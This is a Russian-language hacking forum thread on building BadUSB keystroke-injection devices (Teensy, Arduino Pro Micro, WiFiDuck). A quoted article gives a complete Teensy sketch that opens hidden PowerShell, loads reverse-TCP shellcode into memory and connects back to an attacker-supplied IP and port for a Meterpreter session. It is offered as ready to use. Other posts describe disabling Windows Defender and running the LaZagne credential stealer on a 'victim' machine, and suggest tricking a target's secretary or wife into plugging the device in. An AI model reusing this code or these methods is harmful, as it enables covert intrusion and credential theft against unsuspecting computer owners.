Tihon49 04.03.2020 09:25

Цитата:


koljan polkin сказал(а):

Все эти плохие ЮСБ так себе игрушки - совсем незаметно их не применишь. У меня есть bashbunny от Hak5 из всего, что он может, мне понравилось только заливка и запуск ехезшника и захват LM хаша. Но не заметит как на мониторе появляются странные окна только юзер-олигофрен.

Ну мне не Пентагон ломать

Vladislav_Voronin________ 16.03.2020 19:33

Цитата:


Tihon49 сказал(а):

У меня есть bad usb и обычная флешка (далее флешка №1) на которой запароленный .sfx.exe архив с лазаньей и батник на отключение windows defender'а.

суть в том что сначала вставляю в "жертву" обычную флешку, затем bad usb который:

1. открывает cmd от админа
2. заходит на мою флешку №1 и запускает батник для откоючения win defendera
3. разархивирует запараоленный архив
4. запускает лазанью (точнее батник для запуска лазаньи с необходимыми аргументами)
5. закрывает все окна
все.

Проблема в том, что никогда не знаешь какая будет буква у флешки №1.
я решил это как смог, но это фигня какая-то:

Bash:


Код:

Keyboard.print
(
"d:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"e:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"f:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"g:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"h:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"i:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"j:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"k:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;

в принципе, этот костыль работает т.к. успешно находит флешку по принципу - последняя из имеющихся букв носителя.
Можно как-то попасть на флешку без этого костыля, указав имя флешки?


Ты не мог бы сказать какой у тебя скрипт на отключение антивируса?

Emin Guliev 28.04.2020 18:30

Ребята, все что здесь написано - это здорово конечно, НО одна маленькая проблема остаётся не решенной. Я про проблему с раскладкой. Конечно можно использовать shift alt, но во первых не у всех язык ввода меняется именно данной комбинацией, а во вторых если в момент подключения bad usb, язык ввода уже был английский, то ничего как вы понимаете не получится. Да и к тому же языков ввода может быть и не два вовсе.

Частичным ршением может быть определение текущей раскладки, а там уже по аналогии с этой статьёй, если английскская раскладка, то вводим одни символы, а если русская, то сначала переключаем и потом вводим нужные символы.

Night MIST 28.04.2020 20:43

Цитата:


Emin Guliev сказал(а):

Ребята, все что здесь написано - это здорово конечно, НО одна маленькая проблема остаётся не решенной. Я про проблему с раскладкой. Конечно можно использовать shift alt, но во первых не у всех язык ввода меняется именно данной комбинацией, а во вторых если в момент подключения bad usb, язык ввода уже был английский, то ничего как вы понимаете не получится. Да и к тому же языков ввода может быть и не два вовсе.

Частичным ршением может быть определение текущей раскладки, а там уже по аналогии с этой статьёй, если английскская раскладка, то вводим одни символы, а если русская, то сначала переключаем и потом вводим нужные символы.


Спасибо за отзыв! Эта проблемма была обжована много раз, есть статья по решению в сетевом журнале "Хакер", Подробностей не изучал, но суть в том, что скрипт печатает знаки не по текущей раскладке клавиатуры, а по ее кодам. То есть у каждого символа есть свой код, вот его и печатаем, но, насколько я помню- там нужен дополнительный файл с кодировкой символов и в этом случае раскладка клавиатуры не имеет значения. просто скрипт ассоциирует нужный

Цитата:


Vladislav_Voronin________ сказал(а):

Ты не мог бы сказать какой у тебя скрипт на отключение антивируса?


я таковой не писал. Но следует иметь ввиду, что любой девайс BADUSB не определяется антивирусами как угроза, так как он определяется системой как легитимная клавиатура подключенная по USB/ Вооюще, если есть желание, могу продать готовое устройство, определяющее установленную ОС и далше выполняющее заранее заданный код. Что именно выполнять-допишете сами, суть в том, что автоматом определяем систему . Админы, прастите за офтопп((

Danton 09.06.2020 22:15

хочу сказать форумчанам Night MIST кидала по ходу, хоть и имеет статус Green Team

переписывались с ним еще в коце апреля. он бил себя в грудь, что из старых хакеров. обещал мне показать как криптует файлы. перевел ему 1000 рублей. переписку прекратил 28 апреля. больше на связь не выходил. имеется переписка через телеграм

qwertyuiopasd 09.11.2020 16:29

Как быть с раскладкой клавиатуры? Дело в том, что если стоит русская раскладка - то, к примеру при отправке компьютеру Keyboard.write("cmd") - на самом деле введется "сьв" . Как это можно решить?

OPOSTAL 27.01.2021 18:39

Цитата:


Night MIST сказал(а):

Предисловие

Решил я как-то хозяйство дома завести, благо земли хватает вдоволь. Выбор остановил на утках. Знающие люди сказали, что от них куда больше пользы, чем от кур да и вкуснее они. Началось с того (как это частенько бывает), что узнал я про этих уток не из новостных лент, я практически от первоисточника, а точнее всеми любимого DEFCON-а. Заинтересовало меня их послание, хотя, если честно, не скажу, что я да и другие разработчики не догадывались об этом раньше, но ребята потрудились на славу и выдали миру весьма полезную информацию, касаемо этих самых уток и дали им звучное имя Rubber Duck. Как Вы догадались, эта порода уток ни что иное, как Bad Usb.

Первый блин комом

Как водится у хорошего хозяина, не все сразу ладится, так как первый опыт разведения этой породы мерзо-уток по сути ничем хорошим не увенчался, трудности возникли уже на первом этапе, когда я заглянул в список, предлагаемых авторами проекта уязвимых девайсов, который в основном состоял из (нифига не дешевых на тот момент) USB 3.0 флэшек и тем паче еще и с довольно большим объемом памяти. Выложить ради сомнительных экспериментов пару косарей - перспектива, как мне тогда виделось, ничуть не радужная, но, чем не пожертвуешь ради науки. С горем пополам мне таки удалось найти необходимый девайс, потратив около (недели!!) на поиски. Вооружившись ноутбуком, распечатками ворованной спецификации на Phison 2251-03 и, собственно, самой уткой, я приступил к экспериментам. Ни одна банка Adrenaline была выпита, ни одна сигарета скурена, в итоге родилось устройство и оно заработало, не ахти как, если честно. Ожидаемые результаты сильно разнились с радужными предположениями, приходящими ко мне в красочных снах. Устройство было капризным, глючным, работало не всегда и не с первого раза, в связи с чем идея продолжения показалась мне утопической и была заброшена в "долгий ящик"...

Новая порода уток

И вот настала эра Teensy. Этот проект появился значительно позже, но в силу специфичности контроллера обещал быть куда более перспективным, чем колдунства с флэшками. Приобрел Teensy 3, и первым, что залил в него (кстати совсем без танцев с бубнами) через обычный Arduino IDE + модуль поддержки Teensy (следует заметить, что корректно устанавливался он только с версией IDE 1.8.0) со всеми остальными драйвера наотрез отказывались искать исполняемый файл иде-шки, был скетч открывающий сессию meterpreter на атакуемой машине на Windows. Контроллер мне понравился- работал шустро, бойко и безглючно. Единственной сложностью казался злополучный разъем Micro USB который я решил заменить на обычный. В итоге родилось вот что:

Teensy 3.1 в утиной шкуре

Сам скетч значительно отличался от тех детский писулек, которые представляли из себя rubber dack скрипты, написанные по принципу "подойди к окну, два раза подпрыгни, повернись налево..). Собственно вот сам скетч. KernelEquinox/Teensyterpreter

C++:


Код:

const
unsigned
int
ledPin
=
13
;
// My Teensy has the built-in LED on pin 13.
void
setup
(
)
{
pinMode
(
ledPin
,
OUTPUT
)
;
digitalWrite
(
ledPin
,
HIGH
)
;
delay
(
500
)
;
digitalWrite
(
ledPin
,
LOW
)
;
hurryUp
(
)
;
// Fucking drivers.
spawnReverseTCP
(
)
;
// This gets our shell.
}
void
loop
(
)
// This is a one-off program. Looping is irrelevant.
{
}
void
hurryUp
(
)
// Wait for the driver to finish installing.
{
boolean areWeThereYet
=
capsCheck
(
)
;
// Check and see if we can turn on Caps Lock yet.
while
(
areWeThereYet
==
capsCheck
(
)
)
// Spam the shit out of it if not.
{
returnCode
(
1
,
500
)
;
hitCaps
(
)
;
}
hitCaps
(
)
;
}
boolean
capsCheck
(
)
// Check if Caps Lock is on.
{
if
(
(
activeLEDs
(
)
&
2
)
==
2
)
{
return
true
;
}
else
{
return
false
;
}
}
unsigned
int
activeLEDs
(
)
// Keyboard LED status.
{
return
int
(
keyboard_leds
)
;
}
void
returnCode
(
unsigned
int
numBlinks
,
unsigned
int
halfDelay
)
{
unsigned
int
count
=
0
;
for
(
count
=
0
;
count
!=
numBlinks
;
count
++
)
{
digitalWrite
(
ledPin
,
HIGH
)
;
delay
(
halfDelay
)
;
digitalWrite
(
ledPin
,
LOW
)
;
delay
(
halfDelay
)
;
}
}
void
hitCaps
(
)
// Press the Caps Lock button.
{
Keyboard
.
set_key1
(
KEY_CAPS_LOCK
)
;
Keyboard
.
send_now
(
)
;
delay
(
100
)
;
clearKeys
(
)
;
}
void
clearKeys
(
)
// Empty the keystroke buffer.
{
Keyboard
.
set_modifier
(
0
)
;
Keyboard
.
set_key1
(
0
)
;
Keyboard
.
send_now
(
)
;
delay
(
100
)
;
}
void
killCaps
(
)
// Turn off Caps Lock.
{
if
(
capsCheck
(
)
)
{
hitCaps
(
)
;
}
}
void
spawnReverseTCP
(
)
// Start the real magic.
{
killCaps
(
)
;
// Turn off Caps Lock if it's on.
returnCode
(
1
,
100
)
;
// Keyboard is ready.
Keyboard
.
set_modifier
(
MODIFIERKEY_RIGHT_GUI
)
;
// Open the Run dialog.
Keyboard
.
set_key1
(
KEY_R
)
;
Keyboard
.
send_now
(
)
;
clearKeys
(
)
;
delay
(
1000
)
;
returnCode
(
1
,
100
)
;
// Run is ready.
Keyboard
.
print
(
"cmd.exe /T:01 /K mode CON: COLS=15 LINES=1"
)
;
// Start CMD small with dark text.
Keyboard
.
set_key1
(
KEY_ENTER
)
;
Keyboard
.
send_now
(
)
;
clearKeys
(
)
;
delay
(
3000
)
;
// Give CMD some time to appear.
returnCode
(
1
,
100
)
;
// CMD is ready.
// The next line sets the Powershell path based on our architecture.
Keyboard
.
println
(
"if exist C:\\Windows\\SysWOW64 ( set PWRSHLXDD=C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell) else ( set PWRSHLXDD=powershell )"
)
;
returnCode
(
1
,
100
)
;
// Everything is ready.
/* * * * * * * * * * * *
    *                    *
    *  Take the red pill. *
    *                    *
    * * * * * * * * * * * */
Keyboard
.
print
(
"%PWRSHLXDD% -nop -w hidden -c \"$1 = '$c = ''"
)
;
Keyboard
.
print
(
"[DllImport(\\\"kernel32.dll\\\")]public static ext"
)
;
Keyboard
.
print
(
"ern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwS"
)
;
Keyboard
.
print
(
"ize, uint flAllocationType, uint flProtect);[DllIm"
)
;
Keyboard
.
print
(
"port(\\\"kernel32.dll\\\")]public static extern In"
)
;
Keyboard
.
print
(
"tPtr CreateThread(IntPtr lpThreadAttributes, uint "
)
;
Keyboard
.
print
(
"dwStackSize, IntPtr lpStartAddress, IntPtr lpParam"
)
;
Keyboard
.
print
(
"eter, uint dwCreationFlags, IntPtr lpThreadId);[Dl"
)
;
Keyboard
.
print
(
"lImport(\\\"msvcrt.dll\\\")]public static extern I"
)
;
Keyboard
.
print
(
"ntPtr memset(IntPtr dest, uint src, uint count);''"
)
;
Keyboard
.
print
(
";$w = Add-Type -memberDefinition $c -Name \\\"Win3"
)
;
Keyboard
.
print
(
"2\\\" -namespace Win32Functions -passthru;[Byte[]]"
)
;
Keyboard
.
print
(
";[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,"
)
;
Keyboard
.
print
(
"0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,"
)
;
Keyboard
.
print
(
"0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,"
)
;
Keyboard
.
print
(
"0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,"
)
;
Keyboard
.
print
(
"0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,"
)
;
Keyboard
.
print
(
"0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,"
)
;
Keyboard
.
print
(
"0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,"
)
;
Keyboard
.
print
(
"0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,"
)
;
Keyboard
.
print
(
"0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,"
)
;
Keyboard
.
print
(
"0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,"
)
;
Keyboard
.
print
(
"0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,"
)
;
Keyboard
.
print
(
"0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,"
)
;
Keyboard
.
print
(
"0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,"
)
;
Keyboard
.
print
(
"0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,"
)
;
Keyboard
.
print
(
"0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,"
)
;
Keyboard
.
print
(
"0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,"
)
;
Keyboard
.
print
(
"0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,"
)
;
Keyboard
.
print
(
"0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,"
)
;
Keyboard
.
print
(
"0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,"
)
;
Keyboard
.
print
(
"0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,"
)
;
// Replace [0x@@,0x@@,0x@@,0x@@] with each part of your IP (in hex).
// Replace [0x@@,0x@@] with your open port (e.g. 65535 = 0xFF,0xFF)
// Don't forget to remove the [] brackets after editing.
Keyboard
.
print
(
"[0x@@,0x@@,0x@@,0x@@],0x68,0x02,0x00,[0x@@,0x@@],0"
)
;
// MAKE SURE YOU DELETE THE BRACKETS.
// DO NOT PASS GO UNTIL YOU DELETE THE BRACKETS.
Keyboard
.
print
(
"x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0"
)
;
Keyboard
.
print
(
"x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0"
)
;
Keyboard
.
print
(
"x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0"
)
;
Keyboard
.
print
(
"x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0"
)
;
Keyboard
.
print
(
"xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0"
)
;
Keyboard
.
print
(
"x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0"
)
;
Keyboard
.
print
(
"xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0"
)
;
Keyboard
.
print
(
"xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0"
)
;
Keyboard
.
print
(
"xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -"
)
;
Keyboard
.
print
(
"gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc"
)
;
Keyboard
.
print
(
"(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length"
)
;
Keyboard
.
print
(
"-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $"
)
;
Keyboard
.
print
(
"sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;"
)
;
Keyboard
.
print
(
"){Start-sleep 60};';$gq = [System.Convert]::ToBase"
)
;
Keyboard
.
print
(
"64String([System.Text.Encoding]::Unicode.GetBytes("
)
;
Keyboard
.
print
(
"$1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRo"
)
;
Keyboard
.
print
(
"ot + \\\"\\\\syswow64\\\\WindowsPowerShell\\\\v1.0"
)
;
Keyboard
.
print
(
"\\\\powershell\\\";$cmd = \\\"-nop -noni -enc \\\""
)
;
Keyboard
.
print
(
";iex \\\" $x86 $cmd $gq\\\"}else{$cmd = \\\"-nop -"
)
;
Keyboard
.
print
(
"noni -enc\\\";iex \\\" powershell $cmd $gq\\\";}\""
)
;
clearKeys
(
)
;
Keyboard
.
set_key1
(
KEY_ENTER
)
;
Keyboard
.
send_now
(
)
;
// Send the command.
delay
(
100
)
;
clearKeys
(
)
;
returnCode
(
1
,
1000
)
;
// All done.
}

Здесь нам достаточно просто вставить значения своего IP адреса и порта в HEX формате (в тексте кода это прокоментировано) и собственно можно сразу использовать. Работает четко и очень быстро. Тут вообщем пояснения излишни, девайс откроет шелл meterpreter reverse tcp открыли метасплоит и ждем "клиента". Единственный (как мне казалось на тот момент) минус девайса в том, что он нифига не persistence и после перезагрузки с долгожданной сессией можно распрощаться. Ну да фиг с ним. Не успел я толком наиграться с Teensy-уткой, как на птичий рынок повалили новые и доселе незведданные зверюшки всех парод и мастей заграничных...

Рождение царь-утки

Глаза разбегались от такого ассортимента, но я остановил свой выбор на этот раз на Arduino pro micro (некое подобие Leonardo, но куда более миниатюрное) на очень интересном контроллере ATMEGA 32U4. Его спецификация прямо скаже внушала доверие. 16Мгц процессорной шустрости, 32 КБ памяти для программулек и, самая важная вишенка на торте- наличие на борту полноценного порта USB. То есть не того жалкого подобия, которым оснащены отладочные платы других ардуинок, которые являются ни чем иным, как просто входом UART программатора для прошивки, а именно полноценным портом со всеми вытекающими... Я купил два вот таких зверька-

Две вариации ARDUINO PRO Micro

и счастливый поехал эксперементировать. Вот тут моя радость была несколько омрачена очередными танцами с бубном. Так система определяет подключенное устройство по команде lsusb

В очередной раз порадовал Linux -вообще никаких заморочек с установкой дров... Теперь о бубнах и о танцах. Бединушка, собственно в том, что нет на плате кнопки reset так как братья Китайцы, хоть и радуют нас постоянно своими новинками, но все же почему то решили, что плата сама должна отработать команду RESET при прошивке, так вот именно здесь мы и наступаем на первые грабли. Залив любой скетч эмуляции клавиатуры, мы уже заставляем наш девайс вести себя как клавиатура, как только он унюхает 5 вольт питания, и вот здесь начнутся разногласия, при попытке залить новый скетч. То есть -мы заливаем скетч через USB разъем, выбирая созданый платой виртуальный (именно ВИРТУАЛЬНЫЙ!) порт, который она создает, но поскольку в нейт уже залит наш предыдущий скетч, работающий как эмулятор клавиатуры, то соответственно наблюдаем конфликт интересов. Плата наотрез отказывается делиться портом, используемым для выполнения программы с ARDUINO IDE которая хочет заюзать этот же порт под свои (а точнее наши) не менее корымтные цели. Ну вы примерно поняли, о чем идет речь, но это не все траблы, которые скрываются в утиной шкуре... Теперь включаем воображение и пытаемся представить проблемму в общеглобальном масштабе. Мы залили скетч в нашу про-микро, который, например, открывает на VICTIM машине Powershell, выполняя ряд манипуляций с командной строкой и прописывая туда необходимые команды, но мы надумали залить туда скетч новый, скомпилировали в IDE, вставили про-микро в порт и.... началась свистопляска под рок-музыку.

Представьте что в процессе ваших манипуляций с новой прошивкой к компу подключили еще одну клавиатуру и какой-то чувак начал клацать на ней свои команды. Теперь суть проблеммы в полной мере?))) Логичен вывод, что для загрузки скетча в нашу утку, нужно нажать reset и тем самым остановить выполнение программы, но тут еще одна проблемма всплывает- когда вы жмете reset (к слову его нужно вывести самостоятельно на кнопку. На плате его нет) то виртуальный порт, который мы уже выбрали в Arduino ide попросту пропадает и ИДЕ-шка начинает материться нехорошими словами , оповещая нас о недоступности порта. Натанцевавшись с бубном вдоволь, нашел таки решение- вставлять утку нужно с зажатой кнопкой резет и отпускать ее перед надписью UPLOAD тогда иде должна подхватить порт девайса.

Но важное замечание - ОЧЕНЬ желательно, чтобы никаких других устройст USB (кроме клавы и мыши) подключено не было, в этом случае ИДЕ автоматом подхватит порт, который появится в списке доступных после подключения про-микро. Ну на этом танцы с бубном, вроде закончились. В ардуино ИДЕ платы PRO Micro не существует, выбирать нужно Leonardo, да собственно и загрузчик китайцы зашили туда леонардовский.

Утята учатся летать

Итак поколение уток вырастил. Доволен всем, примеры скетчей приводить не стал, так как в сети их полно и восновном ничего нового, аж скучно, но вот бесконечные блуждания по глубинам Github вывели меня на спаривание Pro-micro с esp-12 модулем, что позволит управлять нашей уткой по воздуху. Ура-летим!
Что же мы получим в итоге?

Гибрид Arduino pro nicro и ESP8266 (ESP-012) со стороны преобразователя 3.3 в

то-же с торца. Видно спаяные все 3 модуля.

гибрид получился весьма маленький и размером не больше флэшки. После нижеописанных манипуляций с прошивкой, вставляем девайс в комп и наблюдаем следующую картину- esp- ха поднимает точку доступа (ее настройки можно изменить при первом запуске либо в самом коде) подключившись к которой мы заходим на вэб морду пунктом управления уткой.

вэб панель управления уткой

Здесь раздолье для работы. Скрипты можно писать прямо здесь и отдавать команду на запуск. Можно поставить на автозапуск любой из них. Можно их сохранять прямо в память и называть как угодно для удобства. Можно скрипт скачать на комп или телефон а так же закачать на утку с компа или телефона просто методов копи-паста текста кода прямо в окно редактирования. Любой сохраненный скрипт можно отредактировать либо вообще удалить за ненадобностью. Предусмотрен даже терминал UART дляя общения с устройством по принципу двухстороннего монитора порта. Вобщем арсенал внушительным оказался.

словарь с командами под рукой. очень удобно

меню настройки Wifi

UART терминал тоже под рукой с HELP страницей

Но и здесь не все так гладко. Дело в том, что на плате Arduino pro-micro нет вывода питания 3.3 вольта, которое необходимо для ESP-12 (Совсем забыл- использовать нужно именно 12 либо 07 но с объемом флэш памяти 3М иначе на написание скриптов памяти не останется.) Всвязи с чем пришлось ставить малюсенькую платку преобразователя 5V-3.3V и как минимум на 500 мА, так как ESP оказалась весьма "жадной до току" и жрет в режиме работы аж 150 мА временами. В процессе работы вся конструкция греется. Не скажу, что прямо сильно, но греется. На работу никак не влияет (в плохом смысле). Вот собственно сам GitHub этого проекта (замечу, три месяца назад обновился, а обновление можно прошить прямо через вэб морду)




GitHub - SpacehuhnTech/WiFiDuck: Wireless keystroke injection attack platform

Wireless keystroke injection attack platform . Contribute to SpacehuhnTech/WiFiDuck development by creating an account on GitHub.

github.com


В прошивке этих девайсов сложностей нет, за исключением того, что было описано выше насчет бубнов с прошивкой Pro micro. Касаемо ESP , то один нюанс все же есть. Она должна шиться как плата Dstrike ESP8266 но о этих нюансах подробно написано на сайте проекта.

Имя нам - легион!

Казалось-бы о чем еще то мечтать? Получили в распоряжение летающую утку, да еще и ручную! Сделаешь все, что скажет. Но нет же... Нет предела человеческой фантазии и нет границ возможностей... И вот в этом штиле благополучия утиного зародился вообще умопомрачительный проект новой утки, которую автор наградил искуственным интеллектом. Хоть, как предыдущая. летать она не умеет, зато умеет она автоматически определять машину, в которую ее воткнули, точнее систему. установленную на этой машине и в соответствии результатами сканирования выполнять заранее заготовленный код для той или иной системы. Где это может быть полезно для Нас-исследователей и для Них-злоумышленников?

А вот Вам пару примеров. Пришли вы к потенциальной жертве, а у жертвы стоит на компе винда с линуксовой оболочкой либо с маковской (ну знаете, есть такие фичи) Времени разбираться что за система нет. Воткнули по быстрому, утка сама разберется и все сделает. Вот еще пример: Вашу рожу потенциальная жертва узнает и в толпе на площади и вход к нему (ней) в кабинет Вам заказан. Зато Вы нет-нет загуливаете с его секретаршей или (не дай Бог женой) в пьяном угаре, пока Его в командировку отправили. И вы всучиваете утку той самой "жене-секретарше" так как ввиду ее блондинистости она не сможет вам внятно объяснить, какая операционка стоит на Его компе. Да и вообще едва ли научилась выговаривать это слово "операционка".. Суть вобщем ясна. В данном "дефолтном" варианте код практически пустой. Соответствующие команды для выполнения в случае
обнаружения той или иной ОС необходимо дописать вручную по вашему желанию, что они должны будут делать. Краткий гайд по установки из README.
  1. Скачать данный репозиторий - joelsernamoreno/PoC-BadUSB_DetectOS
  2. Распоковать (или клонировать) в рабочую папку Arduino
  3. Папку Keyboard из libraries папки проекта скопировать в папку Libraries рабочей папку Arduino
  4. Папку FingerprintUSBHost так-же скопировать в Libraries рабочей папки Arduino
  5. Открываем скетч PoC-BadUSB_DetectOS.ino в ARDUINO IDE
  6. Выбираем плату Arduino Leonardo и соответствующий порт
  7. Компилируем и загружаем на плату.
В дефолтном виде код просто определяет систему на машине жертвы и открыват текстовй редактор прописывая банальный HELLO WORLD

Но. Заменив этот код своей полезной нагрузкой получаем боевую машину

Красным выделен участок кода, который относится к определенной и именно он выполняется после определения ОС. Соответственно его мы и меняем на свой. Аналогично и с другими операционками.

код скрипта определяющего ОС Windows с исполняемой частью

Заключение

Утиная ферма растет и развивается, значит мои надежды оправдались. Технологии летят вперед с астрономической скоростью и порой за ними трудно угнаться. Вот и мы с вами стали свидетелями стремительного развития совсем недавно родившегося проекта BADUSB. Единственное, чем хотелось бы дополнить утку последней ревизии- это автоопределение раскладки клавиатуры, но это тема уже была описана ранее и осталось найти время, чтобы скомпоновать все в одно целое...


у меня Whid Cactus, штука не хуже

s0i37 09.03.2021 16:13

Всё это здорово. Современные Windows и Linux пробиваются на ура.
Вот только на 7ке Arduino Pro Micro ATMega32u4 не определяется по дефолту. А это пока что мэйнстрим.
Кто знает какие аналоги arduino чтоб 7-ку (и может быть XP) пробивало так же? Ну или может можно как то допилить данный ATMega32u4?

f22 09.03.2021 16:31

Цитата:


s0i37 сказал(а):

Всё это здорово. Современные Windows и Linux пробиваются на ура.
Вот только на 7ке Arduino Pro Micro ATMega32u4 не определяется по дефолту. А это пока что мэйнстрим.
Кто знает какие аналоги arduino чтоб 7-ку (и может быть XP) пробивало так же? Ну или может можно как то допилить данный ATMega32u4?


По этойинструкции и с их драйверами не пробовали установить?

s0i37 09.03.2021 16:37

Предполагается что это жертва будет всё делать?))
Если что утки уже приготовлены.

Night MIST 09.03.2021 19:33

Цитата:


s0i37 сказал(а):

Всё это здорово. Современные Windows и Linux пробиваются на ура.
Вот только на 7ке Arduino Pro Micro ATMega32u4 не определяется по дефолту. А это пока что мэйнстрим.
Кто знает какие аналоги arduino чтоб 7-ку (и может быть XP) пробивало так же? Ну или может можно как то допилить данный ATMega32u4?


Микроконтроллер teensy 3 тебе в помощь по 7 и все остальные

cathome 27.08.2022 11:48

Цитата:


Night MIST сказал(а):

Микроконтроллер teensy 3 тебе в помощь по 7 и все остальные


Советую попробовать Cactus WHID


Время: 03:52